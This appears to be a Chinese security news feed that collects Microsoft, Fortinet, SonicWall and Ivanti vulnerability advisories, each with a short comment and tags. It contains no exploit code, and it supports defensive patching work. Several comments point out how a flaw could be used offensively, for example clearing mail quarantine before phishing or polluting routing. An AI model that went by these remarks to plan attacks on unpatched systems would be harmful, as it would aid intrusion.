# CVE-2026-94513 - Microsoft SQL Server Elevation of Privilege Vulnerability Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network. CWE: CWE-122: Heap-based Buffer Overflow

lpesqlicve数据库 @msrc 原文 ↗

存储服务面暴露在网络侧,越界读常成为绕过 ASLR 与信息收集的起点

# CVE-2026-83684 - Windows iSCSI Target Service Information Disclosure Vulnerability Buffer over-read in Windows iSCSI Target Service allows an unauthorized attacker to disclose information over a network. CWE: CWE-126: Buffer Over-read

信息泄露cve存储网络 @msrc 原文 ↗

输出编码缺陷影响面覆盖 Web 应用层,排查模板与响应头处理有实际收益

# CVE-2026-109476 - ASP.NET Core Information Disclosure Vulnerability Improper encoding or escaping of output in ASP.NET Core allows an unauthorized attacker to disclose information over a network. CWE: CWE-116: Improper Encoding or Escaping of Output

信息泄露cveweb绕过 @msrc 原文 ↗

无需认证的远程 DoS,对暴露在公网的服务端构成直接可用性风险

# CVE-2026-109478 - ASP.NET Core Denial of Service Vulnerability Inefficient algorithmic complexity in ASP.NET Core allows an unauthorized attacker to deny service over a network. CWE: CWE-407: Inefficient Algorithmic Complexity

doscveweb @msrc 原文 ↗

# CVE-2026-108402 - Windows Layer-2 Bridge Network Driver Denial of Service Vulnerability Missing release of memory after effective lifetime in Windows Layer-2 Bridge Network Driver allows an unauthorized attacker to deny service over an adjacent network. CWE: CWE-401: Missing Release of Memory after Effective Lifetime

doscve网络 @msrc 原文 ↗

重放绕过认证门槛低,防御方需确认连接加密与凭据有效期。

# CVE-2026-62903 - Microsoft.Data.SqlClient Information Disclosure Vulnerability Authentication bypass by capture-replay in SQL Server allows an unauthorized attacker to disclose information over a network. CWE: CWE-294: Authentication Bypass by Capture-replay

认证绕过数据库cve @msrc 原文 ↗

驱动级 UAF 是本地提权的稳定入口,常与沙箱逃逸组合使用。

# CVE-2026-108414 - Windows Projected File System Filter Driver Elevation of Privilege Vulnerability Use after free in Windows Projected File System Filter Driver allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpe内核uafcve @msrc 原文 ↗

SharePoint 常对内网或公网暴露,XSS 可用于窃取会话与社工投递。

# CVE-2026-109454 - Microsoft Office SharePoint Spoofing Vulnerability Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network. CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

xss浏览器cve @msrc 原文 ↗

越权读是 SharePoint 攻防中最常被利用的失陷后横向手段之一。

# CVE-2026-109455 - Microsoft Office SharePoint Information Disclosure Vulnerability Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network. CWE: CWE-863: Incorrect Authorization

越权云cve @msrc 原文 ↗

文件系统竞态常用于绕过签名校验或替换受保护文件。

# CVE-2026-102200 - Windows NTFS Tampering Vulnerability Time-of-check time-of-use (toctou) race condition in Windows NTFS allows an authorized attacker to perform tampering locally. CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

竞态内核cve @msrc 原文 ↗

与 CVE-2026-109454 同类,通常同批补丁一起修复。

# CVE-2026-109456 - Microsoft Office SharePoint Spoofing Vulnerability Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network. CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

xsscve @msrc 原文 ↗

与同日另一 RCE 同源不同编号,一并打补丁可避免漏修。

# CVE-2026-109472 - Microsoft Office SharePoint Remote Code Execution Vulnerability Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. CWE: CWE-502: Deserialization of Untrusted Data

rce反序列化sharepointcve @msrc 原文 ↗

SSRF 在 Agent SDK 中常用于打云元数据接口,直接影响托管身份安全。

# CVE-2026-109485 - Microsoft 365 Agents SDK Information Disclosure Vulnerability Server-side request forgery (ssrf) in Microsoft 365 Agents SDK allows an authorized attacker to disclose information over a network. CWE: CWE-918: Server-Side Request Forgery (SSRF)

ssrfai_agent云cve @msrc 原文 ↗

文档类 UAF 常走钓鱼邮件路径,是边界防线最难拦的一类入口。

# CVE-2026-109491 - Microsoft Office Word Remote Code Execution Vulnerability Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network. CWE: CWE-416: Use After Free

rceuafofficecve @msrc 原文 ↗

ASP.NET Core 覆盖面极广,CSRF 类越权对自建 Web 应用影响直接。

# CVE-2026-109481 - ASP.NET Core Elevation of Privilege Vulnerability Cross-site request forgery (csrf) in ASP.NET Core allows an unauthorized attacker to elevate privileges over a network. CWE: CWE-352: Cross-Site Request Forgery (CSRF)

csrf提权aspnetcve @msrc 原文 ↗

DNS 服务默认对外可达,越界读取常是后续 RCE 的前置信息泄露环节。

# CVE-2026-108425 - Windows DNS Information Disclosure Vulnerability Out-of-bounds read in Windows DNS allows an unauthorized attacker to disclose information over a network. CWE: CWE-125: Out-of-bounds Read

信息泄露dns内核cve @msrc 原文 ↗

与同日 RCE 配套出现,提权链常需先拿下低权限账户。

# CVE-2026-109466 - Microsoft Office SharePoint Elevation of Privilege Vulnerability Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over an adjacent network. CWE: CWE-862: Missing Authorization

提权sharepointcve @msrc 原文 ↗

需本地已授权身份才能利用,优先级低于同批网络可利用漏洞。

# CVE-2026-109460 - Microsoft Entra Private Network Connector Information Disclosure Vulnerability Exposure of sensitive information to an unauthorized actor in Microsoft Entra Private Network Connector allows an authorized attacker to disclose information locally. CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

信息泄露entracve @msrc 原文 ↗

RD 网关常暴露 443,未授权前提使攻击面明显大于同批其他条目。

# CVE-2026-69327 - Windows Remote Desktop Services Remote Code Execution Vulnerability Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code locally. CWE: CWE-416: Use After Free

rcerdpcveuaf @msrc 原文 ↗

未授权网络 DoS 可打域控,KDC 崩溃影响整个域认证。

# CVE-2026-70240 - Windows Kerberos Denial of Service Vulnerability Missing release of memory after effective lifetime in Windows Kerberos allows an unauthorized attacker to deny service over a network. CWE: CWE-401: Missing Release of Memory after Effective Lifetime

doskerberoscve @msrc 原文 ↗

数据库服务远程 RCE,需凭据前置,适合内网横向场景评估。

# CVE-2026-67391 - Microsoft SQL Server Remote Code Execution Vulnerability Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network. CWE: CWE-122: Heap-based Buffer Overflow

rcesql_servercve @msrc 原文 ↗

DHCP 服务多在内网核心位置,竞态类漏洞利用稳定性需实测。

# CVE-2026-88216 - Windows DHCP Server Remote Code Execution Vulnerability Time-of-check time-of-use (toctou) race condition in Windows DHCP Server allows an authorized attacker to execute code over a network. CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, CWE-122: Heap-based Buffer Overflow

rcedhcprace_conditioncve @msrc 原文 ↗

需先取得凭据,适合作为 RD 网关入侵后的本地提权链一环。

# CVE-2026-69565 - Windows Remote Desktop Services Remote Code Execution Vulnerability Use after free in Remote Desktop Gateway Service allows an authorized attacker to execute code locally. CWE: CWE-416: Use After Free

rcerdpcveuaf @msrc 原文 ↗

LSASS 提权常被用于凭据窃取链,需本地立足点,样本价值高。

# CVE-2026-70231 - Windows Local Security Authority Subsystem Service (LSASS) Elevation of Privilege Vulnerability Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpelsasscveuaf @msrc 原文 ↗

需本地已授权前提,利用条件受限,作为提权面补充记录。

# CVE-2026-85862 - Windows Error Reporting Elevation of Privilege Vulnerability Double free in Windows Error Reporting allows an authorized attacker to elevate privileges locally. CWE: CWE-415: Double Free, CWE-416: Use After Free, CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

lpecvedouble_free @msrc 原文 ↗

驱动层提权,与蓝牙临近攻击组合时价值上升,当前信息有限。

# CVE-2026-70120 - Microsoft Bluetooth Driver Elevation of Privilege Vulnerability Use after free in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpedriverbluetoothcve @msrc 原文 ↗

与同一批 LSASS 提权漏洞并列,竞态路径通常更易稳定复现。

# CVE-2026-88228 - Windows Local Security Authority Subsystem Service (LSASS) Elevation of Privilege Vulnerability Heap-based buffer overflow in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally. CWE: CWE-122: Heap-based Buffer Overflow, CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

lpe提权race_conditioncve @msrc 原文 ↗

驱动层提权影响所有默认启用 UAC 虚拟化的 Windows 版本。

# CVE-2026-88230 - Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Heap-based buffer overflow in Windows LUAFV allows an authorized attacker to elevate privileges locally. CWE: CWE-122: Heap-based Buffer Overflow

lpe提权驱动cve @msrc 原文 ↗

计划任务是常见攻击面,权限校验缺失通常意味着稳定可利用路径。

# CVE-2026-88233 - Windows Task Scheduler Elevation of Privilege Vulnerability Improper authorization in Windows Task Scheduler allows an authorized attacker to elevate privileges locally. CWE: CWE-283: Unverified Ownership

lpe提权cve @msrc 原文 ↗

影响补丁安装链路本身,被利用后可干扰后续修复并维持权限。

# CVE-2026-88235 - Servicing Stack Updates Elevation of Privilege Vulnerability Unintended proxy or intermediary ('confused deputy') in Servicing Stack Updates allows an authorized attacker to elevate privileges locally. CWE: CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

lpe提权供应链cve @msrc 原文 ↗

少见的网络侧信息泄露面,对存储网络隔离不足的环境有实际影响。

# CVE-2026-88231 - Windows iSCSI Information Disclosure Vulnerability Out-of-bounds read in Windows iSCSI allows an authorized attacker to disclose information over a network. CWE: CWE-125: Out-of-bounds Read

信息泄露网络cve @msrc 原文 ↗

UAF 提权在同批漏洞中利用门槛较低,属常规提权面补充。

# CVE-2026-88221 - Windows Broadcast DVR User Service Elevation of Privilege Vulnerability Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpeuafcve @msrc 原文 ↗

媒体组件 UAF 提权,攻击面在默认服务中常驻。

# CVE-2026-88232 - Windows Camera Frame Server Monitor Elevation of Privilege Vulnerability Use after free in Windows Camera Frame Server Monitor allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free

lpeuafcve @msrc 原文 ↗

仅本地信息泄露,价值取决于与其它提权链的组合。

# CVE-2026-88220 - Windows Performance Counters Information Disclosure Vulnerability Buffer over-read in Windows Performance Counters allows an authorized attacker to disclose information locally. CWE: CWE-126: Buffer Over-read

信息泄露cve @msrc 原文 ↗

仅本地信息泄露,利用价值有限,可作为提权链的辅助原语跟踪。

# CVE-2026-88247 - Windows Program Compatibility Assistant Service Information Disclosure Vulnerability Use of uninitialized resource in Windows Program Compatibility Assistant Service allows an authorized attacker to disclose information locally. CWE: CWE-908: Use of Uninitialized Resource

信息泄露服务 @msrc 原文 ↗

音频解析组件长期是恶意媒体文件与钓鱼附件的入口,应优先打补丁。

# CVE-2026-95882 - Microsoft DirectMusic Remote Code Execution Vulnerability Stack-based buffer overflow in Windows Microsoft DirectMusic allows an unauthorized attacker to execute code over a network. CWE: CWE-121: Stack-based Buffer Overflow

rcecve栈溢出浏览器 @msrc 原文 ↗

中间盒掩盖证书失效,导致客户端无法拒绝本应被拒绝的连接。

<p>SonicWall has addressed an issue in SonicOS where appliances with <b>Client DPI-SSL</b> enabled continued to trust certificate chains issued by compromised <b>eMudhra intermediate Certificate Authorities (CAs)</b>. Because the firewall’s local certificate store trusted the underlying root certificates, the firewall re-signed traffic from impacted servers with the local SonicWall DPI-SSL CA certificate, preventing client browsers from rejecting connections signed by the untrusted intermediate CAs.</p><p> SonicWall has remediated this issue by removing the affected root certificates from the SonicOS certificate store and implementing blocking logic for the compromised intermediate certificate chain. SonicWall strongly recommends that customers upgrade to the latest release versions listed below to address and mitigate the associated risks.</p> CVE: None Last updated: Nov. 10, 2026, 8:57 a.m.

tlspki中间盒防火墙 @sonicwall-advisory 原文 ↗

认证网关被打瘫等同于全网登录中断,已有修复版本可升级。

PSIRT Allocation of resources without limits or throttling in fastapi Summary An Allocation of Resources Without Limits or Throttling vulnerability [CWE-770] in FortiAuthenticator may allow an unauthenticated attacker to exhaust system resources, potentially resulting in a denial of service (DoS). Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-258 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 7.5 Impact Denial of service CVE ID CVE-2026-126244 Download CVRF CSAF

doscve未授权fastapi @forti-ir 原文 ↗

本地提权链的常用组件,常与社工投递配合,需要纳入补丁基线。

# CVE-2026-95894 - Windows Task Scheduler Elevation of Privilege Vulnerability Heap-based buffer overflow in Windows Task Scheduler allows an authorized attacker to elevate privileges locally. CWE: CWE-122: Heap-based Buffer Overflow

lpecve堆溢出 @msrc 原文 ↗

Ivanti releases standard security patches on the second Tuesday of every month. In today’s rapidly evolving technology and threat landscape, we believe responsible transparency should be a cornerstone of any product security program. AI is compressing the time-to-exploit , and Ivanti uses leading technologies to proactively find and fix issues––including integrating advanced LLMs into our Engineering and product security to enhance the capabilities of our teams and identify vulnerabilities that traditional tools have previously missed. Our philosophy is simple: discovering and communicating vulnerabilities and sharing that information with defenders is not an indication of weakness; rather it is evidence of rigorous scrutiny and a proactive vulnerability management program. By aggressively seeking to identify and address vulnerabilities, our aim is to get ahead of threat actors to ensure our customers can take the steps needed to protect their environments. Ivanti is disclosing vulnerabilities in Ivanti User Workspace Manager, Ivanti Sentry, Ivanti Endpoint Manager Mobile, Ivanti Cloud Services Application and Ivanti Endpoint Manager. It is important for customers to know: We have no evidence of these vulnerabilities being exploited in the wild. These vulnerabilities do not impact any other Ivanti solutions. More information on these vulnerabilities and detailed instructions on how to remediate the issues can be found in the Security Advisories: Ivanti User Workspace Manager Ivanti Sentry Ivanti Endpoint Manager Mobile Ivanti Cloud Services Application Ivanti Endpoint Manager How we are using AI in product security Ivanti continues to explore, test, and implement leading technologies and processes in every stage of our product development. Our security team has integrated multiple advanced LLM models into our product security processes. This has increased the capabilities of our Engineering and Product Security Red Teams to identify and fix vulnerabilities, especially those that are difficult to identify with traditional tooling, such as SAST and DAST. We have already successfully identified vulnerabilities which traditional tools missed, including some that we are disclosing today. As these tools are integrated further into our processes and refined, we expect an increase in vulnerability disclosures. We will continue to share transparently what we have found and resolved to ensure the security of our products. If you are not already following our Security Blog or subscribed to receive alerts for updates on the products you own through the Ivanti Innovators Hub, we highly recommend you do so. Importantly, we are committed to using AI responsibly in product security, including keeping a human in the loop to verify automated or agentic work. While this will result in an uptick in disclosures, we see this as a good thing, and an important part of ensuring our products keep pace with modern security requirements as they change. Our top priority is the security of our customers and believe the increase in identified, resolved, and transparently communicated vulnerabilities demonstrates that commitment. Our Support team is always available to help customers and partners should they have any questions. Cases can be logged via the Ivanti Innovators Hub (login credentials required). Want to stay up to date on Ivanti Security Advisories? Paste https://www.ivanti.com/blog/topics/security-advisory/rss into your preferred RSS reader / functionality in your email program.

厂商公告llm补丁 @ivanti-advisory 原文 ↗

管理面到系统 root 的完整跃迁,攻破控制台即等于拿下主机

PSIRT Authorization bypass through user-controlled key Summary An Authorization Bypass Through User-Controlled Key vulnerability [CWE-639] in FortiManager may allow a remote authenticated attacker with admin permission to elevate their privileges to root via crafted HTTP requests. Version Affected Solution FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-235 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.2 CVSSv3 Temporal Score 7.8 Impact Improper access control CVE ID CVE-2026-126218 Download CVRF CSAF

fortimanager提权cwe-639 @forti-ir 原文 ↗

单点低权账户即可跨租户横向,多租户邮件网关风险集中

PSIRT Authorization bypass through user-controlled key Summary An Authorization Bypass Through User-Controlled Key vulnerability [CWE-639] in FortiMail may allow an authenticated remote attacker to delete arbitrary directories as root, or to access or delete other users' calendar and mailbox data across tenant domains, via crafted HTTP requests to the webmail and administrative interfaces. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-204 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.1 Impact Improper access control CVE ID CVE-2026-126152 Download CVRF CSAF

fortimail越权多租户cwe-639 @forti-ir 原文 ↗

MFA 实际被绕过,凭口令即可登管理界面,影响面广

PSIRT Broken Access Control in Two-Factor-Authentication Summary An Improper Authentication vulnerability [CWE-287] in the FortiOS Remote Radius Type Admin Two-Factor (TFA) Authentication may allow a remote authenticated attacker with at least read-only permission to log in to the FortiOS GUI with an invalid token after entering a valid username and password, in scenarios where the RADIUS server returns an additional "Access-Challenge" response following an invalid TFA token. Version Affected Solution FortiOS 8.0 Not affected Not Applicable FortiOS 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiOS 7.4 Not affected Not Applicable FortiOS 7.2 Not affected Not Applicable Follow the recommended upgrade path using our tool at: https://docs.fortinet.com/upgrade-tool Workaround Remove the Remote Radius Type Admin account linked to the RADIUS server that responds with an additional "Access-Challenge" message when the user fails to enter a valid two-factor authentication token. In the GUI: Navigate to System > Administrators and delete the Remote Radius Type administrator accounts. In the CLI: config system admin delete < Remote type administrator account > next end Acknowledgement Fortinet is pleased to thank Juan A. Zavala from EchoStar/HUGHES for reporting this vulnerability under responsible disclosure Virtual Patch No Timeline 2026-11-10: Initial publication References https://docs.fortinet.com/document/fortigate/7.6.6/administration-guide/766272/remote-authentication-for-administrators https://docs.fortinet.com/document/fortigate/7.6.6/cli-reference/390485493/config-system-admin IR Number FG-IR-26-195 Published Date Nov 10, 2026 Component GUI Severity Medium Discovered External Attack Type Authenticated Known Exploited No CVSSv3 Score 5.9 Impact Improper access control CVE ID CVE-2026-121530 Download CVRF CSAF

fortios绕过mfacwe-287 @forti-ir 原文 ↗

无需凭据即可清空隔离区,可作为钓鱼投递前的清理动作

PSIRT Authorization bypass through user-controlled key Summary An Authorization Bypass Through User-Controlled Key vulnerability [CWE-639] in FortiMail may allow an unauthenticated attacker to release or delete quarantined messages for arbitrary mailboxes via a crafted quarantine release request. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-211 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 7.5 Impact Improper access control CVE ID CVE-2026-126159 Download CVRF CSAF

fortimail越权未认证cwe-639 @forti-ir 原文 ↗

可未认证注入 LSA 污染路由,边界与内网路由都可能被牵引

PSIRT Authentication bypass by primary weakness Summary An Authentication Bypass by Primary Weakness vulnerability [cwe-305] in FortiOS and FortiSASE ospf daemon may allow an unauthenticated attacker to broadcast LSA via specially crafted request Version Affected Solution FortiOS 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiOS 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiOS 7.4 7.4.0 through 7.4.12 Upgrade to 7.4.13 or above FortiOS 7.2 7.2.0 through 7.2.13 Upgrade to 7.2.14 or above FortiSASE 26.3 26.3.1 Fortinet remediated this issue in 26.3.2 and hence customers do not need to perform any action. FortiSASE 26.3 26.3.1_a Fortinet remediated this issue in 26.3.2 and hence customers do not need to perform any action. FortiSASE 26.2 26.2 all versions Migrate to a fixed release FortiSASE 26.1 26.1 all versions Migrate to a fixed release FortiSASE 25.4 25.4 all versions Migrate to a fixed release FortiSASE 25.3 25.3 all versions Migrate to a fixed release FortiSASE 25.2 25.2 all versions Migrate to a fixed release FortiSASE 25.1.a 25.1.a all versions Migrate to a fixed release FortiSASE 25.1 25.1 all versions Migrate to a fixed release FortiSASE 24.4 Not affected Not Applicable FortiSASE 24.3 Not affected Not Applicable FortiSASE 24.1 Not affected Not Applicable FortiSASE 23.4 Not affected Not Applicable FortiSASE 23.3 Not affected Not Applicable FortiSASE 23.2 Not affected Not Applicable FortiSASE 23.1 Not affected Not Applicable FortiSASE 22.4 Not affected Not Applicable Follow the recommended upgrade path using our tool at: https://docs.fortinet.com/upgrade-tool Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-267 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.3 Impact Improper access control CVE ID CVE-2026-126253 Download CVRF CSAF

fortios路由认证绕过cwe-305 @forti-ir 原文 ↗

管理界面越权执行命令,是控制面被绕过的典型入口

PSIRT Authorization bypass through user-controlled key in GUI Summary An Authorization Bypass Through User-Controlled Key vulnerability [cwe-639] in FortiManager, FortiManager Cloud and FortiSase-Sovereign GUI may allow an authenticated attacker to execute commands outside of the expected scope via specially crafted HTTP request. Version Affected Solution FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to upcoming 7.4.13 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Migrate to a fixed release FortiSASE-Sovereign 26.2 26.2 all versions Fortinet remediated this issue in 26.2 (not released) and hence customers do not need to perform any action. FortiSASE-Sovereign 25.4 25.4 all versions Migrate to a fixed release FortiSASE-Sovereign 25.3 25.3 all versions Migrate to a fixed release FortiSASE-Sovereign 25 25 all versions Migrate to a fixed release The vulnerability impacts the JSON API if enabled (Disabled by default) If enabled on a profile, it can be disabled it via the following configuration: config system admin profile edit <profile name> set rpc-permit none end Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-228 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.7 CVSSv3 Temporal Score 8.2 Impact Improper access control CVE ID CVE-2026-126183 Download CVRF CSAF

fortimanager越权cwe-639 @forti-ir 原文 ↗

租户与 VDOM 隔离失效,托管式部署的横向访问面扩大

PSIRT Authorization bypass through user-controlled key in dmserver Summary An Authorization Bypass Through User-Controlled Key [CWE-639] in FortiManager, FortiAnalyzer, FortiManager Cloud and FortiAnalyzer Cloud could allow an authenticated administrator to access to other VDOMs via specially crafted HTTP requests. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2 all versions Migrate to a fixed release FortiAnalyzer Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2 all versions Migrate to a fixed release FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2 all versions Migrate to a fixed release FortiManager Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2 all versions Migrate to a fixed release Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-244 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 9.1 CVSSv3 Temporal Score 8.6 Impact Improper access control CVE ID CVE-2026-126229 Download CVRF CSAF

fortianalyzerfortimanager越权cwe-639 @forti-ir 原文 ↗

影响 HA 可靠性,可作为高可用体系的前置干扰手段

PSIRT Authentication bypass by spoofing Summary An authentication bypass by spoofing vulnerability (CWE-290) in FortiAnalyzer, FortiAnalyzer Cloud, FortiAnalyzer-BigData, FortiManager, FortiManager Cloud, FortiSASE-Sovereign fortilogd may allow an attacker to disrupt the HA state. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-229 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 8.2 Impact Improper access control CVE ID CVE-2026-126184 Download CVRF CSAF

fortianalyzer认证绕过hacwe-290 @forti-ir 原文 ↗

无需登录即可释放或删除任意邮箱的隔离邮件,可被用于定向邮件投毒与日志取证规避。

PSIRT Improper authentication in releasecontrol Summary An Improper Authentication vulnerability [CWE-287] in FortiMail may allow an unauthenticated attacker to escalate privileges and release or delete quarantined messages for arbitrary mailboxes via a crafted quarantine release requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-212 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 8.2 CVSSv3 Temporal Score 7.8 Impact Improper access control CVE ID CVE-2026-126160 Download CVRF CSAF

cve认证绕过邮件网关未授权 @forti-ir 原文 ↗

远程已认证的低权账户即可通过构造 HTTP 请求执行命令,管理面暴露的内网设备风险最高。

